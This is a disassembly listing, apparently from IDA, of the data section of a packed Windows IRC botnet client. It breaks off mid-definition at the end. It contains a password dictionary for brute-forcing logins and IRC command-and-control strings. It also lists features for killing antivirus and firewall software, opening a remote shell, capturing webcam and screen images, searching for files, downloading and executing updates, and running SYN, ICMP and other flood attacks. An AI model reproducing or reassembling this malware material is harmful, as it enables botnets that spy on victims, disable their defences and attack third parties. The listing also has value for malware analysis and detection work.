aMail		db 'mail',0             ; DATA XREF: .packed:00429318o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .packed:00429314o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .packed:00429310o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
					; .packed:00429308o
		align 4
aSystem		db 'system',0           ; DATA XREF: .packed:00429304o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .packed:004292FCo
		align 10h
aLinux		db 'linux',0            ; DATA XREF: .packed:004292F8o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .packed:004292F4o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: .packed:004292F0o
		align 4
aNone		db 'none',0             ; DATA XREF: .packed:004292ECo
		align 10h
aTest		db 'test',0             ; DATA XREF: .packed:004292E4o
		align 4
a2004		db '2004',0             ; DATA XREF: .packed:004292E0o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
					; .packed:004292DCo
		align 4
a2002		db '2002',0             ; DATA XREF: .packed:004292D8o
		align 10h
a2001		db '2001',0             ; DATA XREF: .packed:004292D4o
		align 4
a2000		db '2000',0             ; DATA XREF: .packed:004292D0o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: .packed:004292CCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: .packed:004292C8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .packed:004292C4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .packed:004292C0o
a123456		db '123456',0           ; DATA XREF: .packed:004292BCo
		align 4
a12345		db '12345',0            ; DATA XREF: .packed:004292B8o
		align 4
a1234		db '1234',0             ; DATA XREF: .packed:004292B4o
		align 4
a123		db '123',0              ; DATA XREF: .packed:004292B0o
a12		db '12',0               ; DATA XREF: .packed:004292ACo
		align 4
a1:					; DATA XREF: .packed:004292A8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .packed:004292A4o
aPwd		db 'pwd',0              ; DATA XREF: .packed:004292A0o
aPass_0		db 'pass',0             ; DATA XREF: .packed:0042929Co
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: .packed:00429298o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .packed:00429294o
		align 4
aPassword	db 'password',0         ; DATA XREF: .packed:00429290o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: .packed:0042928Co
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:00429288o
aDb2		db 'db2',0              ; DATA XREF: .packed:00429264o
					; .packed:00429430o
aOracle		db 'oracle',0           ; DATA XREF: .packed:00429260o
					; .packed:00429448o
		align 4
aDba		db 'dba',0              ; DATA XREF: .packed:0042925Co
aDatabase	db 'database',0         ; DATA XREF: .packed:00429258o
					; .packed:00429410o
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:00429254o
					; .packed:00429300o
aGuest_0	db 'guest',0            ; DATA XREF: .packed:00429250o
					; .packed:004292E8o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .packed:0042924Co
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .packed:00429248o
					; .packed:00429490o
aStudent	db 'student',0          ; DATA XREF: .packed:00429244o
					; .packed:0042948Co
aOwner		db 'owner',0            ; DATA XREF: .packed:00429240o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: .packed:0042923Co
		align 4
aRoot		db 'root',0             ; DATA XREF: .packed:00429238o
					; .packed:0042930Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: .packed:00429234o
					; .packed:00429494o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .packed:00429230o
					; .packed:00429284o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .packed:0042922Co
					; .packed:00429280o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:00429228o
					; .packed:0042927Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:00429224o
					; .packed:00429278o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:00429220o
					; .packed:00429274o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .packed:0042921Co
					; .packed:00429270o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: .packed:off_429160o
dword_4299A4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+46Bo
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+420o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A04	db  2Dh	; -		; DATA XREF: sub_401221+3F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A44	db  2Dh	; -		; DATA XREF: sub_401221+3A2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A68	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401221+364o
		dd 2E646574h, 0
dword_429A84	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo
dword_429A90	dd 255C7325h, 73h	; DATA XREF: sub_401221+189o
					; sub_415A2F+7Eo ...
dword_429A98	dd 73257325h, 0		; DATA XREF: sub_401221+10Do
					; sub_40F6B3+EAo ...
unk_429AA0	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429B08	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B28	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B48	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_429B9C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429C1C:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_429C20	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C44	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429C6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 10h
unk_429C90	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CB4	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429CD8	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429CFC	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429D18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D44	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429D90	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429DBC	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E08	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429E50	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E78	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EE8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F18	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F3C	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429F58	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F7C	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_429F94	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FD4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429FEC	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_42A008	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A028	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A06C:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A070	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A094	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A0F8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A138	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_42A16C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_42A20C	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A234	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_42A264	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 10h
unk_42A2A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 10h
unk_42A2D0	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 4
dword_42A304	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_42A320	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 10h
unk_42A350	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A378	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A398	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3B8	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A3D4	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_42A3E8	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_42A3F4	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_42A41C	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_42A438	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_42A454	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_42A45C	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_42A478	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_42A484	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_42A48C	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_42A494	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42A4D0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A538	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 10h
dword_42A5A0	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_42A5B8	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_42A5CC	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_42A5DC	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A624	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A660	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_42A698	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A6B4	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A6D8	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A744	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A750	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A774	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A7AC	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 10h
dword_42A810	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A84C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A87C	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8B4	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A8E4	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A91C	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A94C	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 10h
unk_42A9C0	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 10h
unk_42AA00	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA2C	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 10h
unk_42AA70	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
